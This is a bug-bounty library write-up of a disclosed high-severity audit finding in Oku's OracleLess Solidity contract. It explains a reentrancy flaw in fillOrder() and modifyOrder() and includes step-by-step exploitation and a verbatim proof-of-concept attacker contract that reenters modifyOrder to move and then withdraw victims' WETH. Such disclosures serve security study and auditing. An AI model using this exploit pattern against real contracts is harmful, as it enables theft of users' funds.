# Lack of nonReentrant modifier in fillOrder() and modifyOrder() allows attacker to steal funds

OracleLess.fillOrder() and modifyOrder() lack nonReentrant; attacker-controlled target callback reenters modifyOrder to shift victim funds into a second order, then cancels it to steal WETH.

- Payout: Audit contest
- Severity: high
- Program: Oku
- Found by: 0rpse
- Disclosed: 2024-11-22
- Write-up quality: 8/10
- Original: https://github.com/sherlock-audit/2024-11-oku-judging/issues/421
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-11-oku%3AH-3
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:reentrancy

**Target:** OracleLess automated-trigger order contract (fillOrder/modifyOrder)
**Root cause:** fillOrder() executes an arbitrary attacker-supplied target.call(txData) before finalizing state, and neither fillOrder() nor modifyOrder() is guarded by nonReentrant, so the callback can reenter modifyOrder to move funds between orders.
**Steps:**
1. Create victim order N and attacker orders A1, A2 with recipient = malicious contract; pendingOrderIds = [N, A1, A2].
2. Call `fillOrder(1, A1, attackContract, attackData)` where attackData encodes `attack(firstOrderId, amountToSteal, amountToReduce, minReturn)`.
3. Inside attack(): `weth.safeTransferFrom(msg.sender, address(this), amountToSteal)` to pull A1's tokenIn via approval.
4. Reenter `modifyOrder(A1, usdc, amountToReduce, minReturn, this, false, false, 0x)` to decrease A1 and credit M WETH back.
5. Reenter `modifyOrder(A2, usdc, amountToReduce, minReturn, this, true, false, 0x)` to park M WETH in A2 so the `finalTokenIn >= initialTokenIn - order.amountIn` over-spend check passes.
6. Send `1 wei` USDC back to satisfy fillOrder's output check; fillOrder removes A1 and returns 1 wei USDC.
7. Call `cancelOrder(A2)` to withdraw the parked M WETH, netting stolen funds.
**How found:** Code reading: noticed fillOrder() performs an arbitrary external call to attacker-controlled target/txData and that neither fillOrder() nor modifyOrder() carried nonReentrant, unlike Bracket.sol::modifyOrder(); hypothesized reentering modifyOrder during the callback could shift balances while the over-spend check still passed.
**Exploitation:** Attacker needs only two self-created orders plus a malicious recipient contract; no flash loan. fillOrder's arbitrary target.call enables reentrancy into modifyOrder, letting the attacker reduce their own order to reclaim tokenIn, park it in a second order to keep the contract's aggregate tokenIn balance consistent with the over-spend require, then cancel the second order to extract the victim/protocol WETH at ~zero cost.
**Escalation:** Parking stolen funds in a second order to defeat the over-spend balance check, then canceling it, converts a transient reentrancy into persistent fund theft.
**Insight:** When a function makes an arbitrary external call before finalizing accounting, check whether sibling state-mutating functions (modify/cancel) lack the same reentrancy guard; also check whether aggregate balance invariants can be satisfied by parking stolen funds in another user-controlled position.

## Proof of concept (copied exactly from the original report)

**Malicious target contract reentrancy attack function**

```
function attack(
        uint96 firstOrderId,
        uint256 amountToSteal,
        uint256 amountToReduce,
        uint256 minReturn
    ) external returns (bool) {
        // Step 0: Pull tokenIn (we have been provided the approval)
        weth.safeTransferFrom(msg.sender, address(this), amountToSteal);

        // Step 1: Modify first order to decrease position, getting back most funds
        (bool modifySuccess1,) = oracleLessContract.call(
            abi.encodeWithSignature(
                "modifyOrder(uint96,address,uint256,uint256,address,bool,bool,bytes)",
                firstOrderId,      // orderId
                usdc,             // _tokenOut unchanged
                amountToReduce,  // amountInDelta
                minReturn,        // _minAmountOut
                address(this),    // _recipient 
                false,           // increasePosition = false to decrease
                false,           // permit
                "0x"             // permitPayload
            )
        );
        require(modifySuccess1, "First modify failed");

        // Step 2: Increase position of second order with stolen funds
        (bool modifySuccess2,) = oracleLessContract.call(
            abi.encodeWithSignature(
                "modifyOrder(uint96,address,uint256,uint256,address,bool,bool,bytes)",
                secondOrderId,    // orderId 
                usdc,            // _tokenOut unchanged
                amountToReduce, // amountInDelta
                minReturn,       // _minAmountOut
                address(this),   // _recipient
                true,           // increasePosition = true to add funds
                false,          // permit
                "0x"            // permitPayload
            )
        );
        require(modifySuccess2, "Second modify failed");

        // Step 3: Send minimal USDC to pass balance check in fillOrder()
        usdc.safeTransfer(msg.sender, 1);

        return true;
    }
```

